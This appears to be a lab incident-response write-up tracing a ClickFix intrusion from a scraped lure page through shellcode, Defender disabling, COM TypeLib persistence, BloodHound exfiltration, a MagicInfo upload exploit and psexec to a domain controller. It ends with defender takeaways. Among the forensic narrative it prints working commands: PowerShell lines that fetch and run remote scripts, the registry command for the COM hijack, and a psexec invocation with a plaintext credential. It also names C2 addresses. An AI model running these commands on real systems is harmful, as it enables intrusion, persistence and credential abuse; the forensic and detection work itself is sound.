Bada Breach

Scenario

Junior Soprano, working in SEO and competitor analysis, ran a local scraping script against a list of URLs. One of the scraped URLs hosted a ClickFix lure — a fake internal HR document portal presenting an SMB path to confidential files. Junior followed the instructions, running a command in the Windows Run dialog. A terminal window flashed briefly and disappeared. No SOC alerts fired. The assigned incident responder must determine what occurred, trace the full compromise chain, and assess the blast radius across the environment.

Three KAPE images are available — Corrado (Junior’s WS1), Tony (WS2), and Sopranos-DC — alongside an Elastic SIEM with Sysmon telemetry ingested from the lab environment.

Methodology

Initial Triage — Scraper Activity

The investigation opens on Corrado. Elastic Sysmon Event ID 1 filtered on python.exe shows the scraping script (scrap.py) last executing at 2025-07-05 11:31:22. Pip install activity for requests and b4 libraries follows immediately, confirming the scraper’s dependency chain. At 11:33:20, python.exe establishes an outbound TCP connection to hr-bonus-files.Xtravel.com:80 — the malicious lure domain.

ClickFix Delivery

The lure page presented Junior with a fake SMB path (\\hr-bonus-files.Xtravel.com\2025\SalaryAdjustments\Q3\Full_Report.pdf) disguised as a document link. The actual payload was a PowerShell IEX command, with the real instruction prefixed before a # comment character and the UNC path padded with \u0008 backspace characters to visually erase the malicious portion in the Run dialog. Junior saw only what appeared to be a file path.

At 13:17, Junior opened Edge and manually visited the site after the scraper surfaced it. Edge spawned powershell.exe with the full ClickFix command — IEX (iwr https://gist.githubusercontent.com/a1l4m/.../update.ps1 -UseBasicParsing) — confirming the technique as ClickFix.

Stage 1 — update.ps1 Shellcode Loader

update.ps1 contains a gzip-compressed, base64-encoded payload that decompresses and decodes to a second-stage runner. The second stage downloads gistfile1.txt — a hex-encoded, gzip-compressed, XOR-0x1F-obfuscated shellcode blob. The decoded shellcode is injected reflectively via VirtualAlloc and executed in-process without touching disk, establishing a reverse shell back to 3.71.85.98:43271.

The shellcode MD5 (hex representation, as-stored) is fc000ab39cef17bab33aa6bbf4085407.

Post-Exploitation — Initial Recon

With the shell established, the attacker’s first domain reconnaissance command was powershell Get-ADDomain, querying domain details via PowerShell’s ActiveDirectory module.

Defender Evasion — DiagnosticTools.ps1

The first file dropped to disk was C:\Windows\Temp\DiagnosticTools.ps1, downloaded via bitsadmin /transfer from the attacker’s GitHub Gist at 13:21:12. DiagnosticTools.ps1 is Microsoft.PowerShell.DataAdapter.ps1 — a comprehensive Defender-killing script that abuses the TrustedInstaller service’s binary path to execute reg imports with SYSTEM privileges, disabling all Windows Defender components via eleven separate .reg files written to %TEMP%\disableReg\.

Persistence — COM Hijack via SCT Scriptlet

At 13:23:31, a second bitsadmin transfer drops 1.sct (a Windows Script Component file) into C:\Windows\Temp\. Subsequent transfers drop update.sct — a JScript COM scriptlet that calls updater.ps1 via WScript.Shell. At 13:28:41, the attacker registers the scriptlet as COM persistence by writing a TypeLib registry key:

reg.exe add HKCU\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64 /ve /t REG_SZ /d script:C:\Windows\Temp\update.sct /f

This hijacks the COM object so that any process loading the TypeLib triggers the scriptlet — a fileless, registry-based persistence mechanism that fires on reboot without requiring a scheduled task or run key.

The SHA-256 of 1.sct (the initiating scriptlet) is e2a96a9d6ffc01ba59cc8b7875026230c0dc65ca4fdb532dcc7ce9098dc48553.

Persistence Triggers — Same-Day Callback

Persistence didn’t wait for a reboot. The COM hijack was registered at 13:28:41, and by 14:27:10 the same afternoon explorer.exe (PID 2344) loaded the hijacked TypeLib at {EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B} during normal user activity — opening a folder window, launching a browser, any operation that touches SHDocVw is enough. scrobj.dll handled the script: moniker in-process and executed update.sct, which called WScript.Shell.Run to spawn powershell.exe (PID 4292):

​ powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "IEX (iwr https://gist.githubusercontent.com/a1l4m/.../updater.ps1 -UseBasicParsing)" ​

This established a parallel C2 channel back to 63.178.11.37:54321 — separate infrastructure from the initial-access shellcode beacon (3.71.85.98:43271), running concurrently through the afternoon. The hijack continued to fire repeatedly as explorer loaded the TypeLib across the session: 16:19:33, 22:24:27, 22:41:39, and again at 09:04:18 on Jul 6 after the workstation reboot — each event spawning a fresh powershell.exe instance with its own PID.

AD Enumeration — SharpHound

With re-established access, the attacker downloads SharpHound (renamed BrowserUpdate.exe) from bashupload.com/4oE4k/SharpHound.exe at 16:20:12 and executes it. SharpHound queries LDAP on the DC at 192.168.45.130, collecting domain object data for BloodHound analysis.

The BloodHound output zip — 20250705092726_BLOODHOUND.ZIP — is exfiltrated via curl to a Hetzner-hosted server (116.203.186.178) at 16:28.

Lateral Movement — CVE-2024-7399 MagicInfo RCE

BloodHound enumeration identifies a second workstation (Tony) running Samsung MagicInfo Premium v21.1050.0 — a digital signage content management server exposed on port 7002. CVE-2024-7399 is an unauthenticated file upload vulnerability in the /MagicInfo/servlet/SWUpdateFileUploader endpoint, which accepts arbitrary file uploads without authentication checks.

The attacker downloads exp.zip from bashupload.com/nBukJ/exp.zip and extracts it. The exploit script (exp.py) uses the --check flag to upload a JSP webshell probe (6oyPt2m5.jsp) to the MagicInfo web root, confirming write access and RCE. The --execute flag then deploys the full interactive shell (Yb65Dd4k.jsp), embedding JavaScript execution via the Nashorn engine to evade Windows Defender’s Java monitoring.

The first command executed on Tony after RCE was whoami, confirming execution context under the MagicInfo Tomcat service account.

Credential Access — Hardcoded Service Account

The MagicInfo application configuration contained hardcoded credentials for a privileged domain service account. The attacker extracted SQLSERVICE:'MYpassword123# and used it to authenticate to the domain at 22:31:43.

Domain Lateral Movement — psexec.py

With domain credentials, the attacker used Impacket’s psexec.py (renamed lm.py and downloaded from bashupload.com/_3QkZ/lm.py) to move laterally:

python lm.py SOPRANOS.local/SQLSERVICE:'MYpassword123#'@192.168.45.130

psexec.py authenticates via SMB, drops a randomly-named executable (ROXnhwuG.exe) to %SystemRoot%, and creates a service (ALEE) on the DC to achieve remote execution at SYSTEM.

DC Access — WasteManagement Share

On the DC, the attacker browsed to C:\Shares\WasteManagement — a configured network share identified via BloodHound’s share enumeration. MFT analysis confirms the directory existed but contained zero files, leaving the attacker empty-handed at the final objective.

Attack Summary

IOCs

MITRE ATT&CK

Defender Takeaways

ClickFix awareness training is now mandatory. The entire compromise started with a user copy-pasting a command from a webpage into the Windows Run dialog. Standard phishing training doesn’t cover this vector — users need to understand that legitimate services never ask them to press Win+R and paste anything. Blacklisting powershell.exe spawned from explorer.exe via Run dialog is an effective detection rule.

Egress filtering would have killed this at stage one. The shellcode beacon (3.71.85.98:43271), the BloodHound exfil (116.203.186.178:80), and the persistent C2 (63.178.11.37:54321) are all non-standard outbound connections. A strict egress policy allowing only known proxies for HTTP/HTTPS would have blocked all three. The attacker had no legitimate reason to make direct TCP connections to external IPs on non-standard ports.

TrustedInstaller binpath modification is a SYSTEM-level red flag. The attacker abused sc.exe config TrustedInstaller binPath= to execute arbitrary commands as SYSTEM without UAC prompts. Any modification to TrustedInstaller’s binary path outside of a Windows Update context should trigger an immediate alert — it has no legitimate administrative use case.

COM TypeLib persistence survives reboots silently. Registry writes to HKCU\Software\Classes\TypeLib with a script: data value are a reliable indicator of COM scriptlet persistence. This fires without creating scheduled tasks or run keys, making it invisible to many baseline persistence checks. Monitor reg.exe writing script: values and alert on any wscript.exe or dllhost.exe loading .sct files from %TEMP%.

Hardcoded service account credentials in application configs are domain-level risk. The attacker pivoted from a single compromised workstation to domain admin access because SQLSERVICE credentials were stored in plaintext in MagicInfo’s configuration. Privileged service accounts should use gMSA (Group Managed Service Accounts), never static passwords stored in application files. The MagicInfo server should have been patched — CVE-2024-7399 allows unauthenticated RCE against a server that, in this case, held the keys to the domain.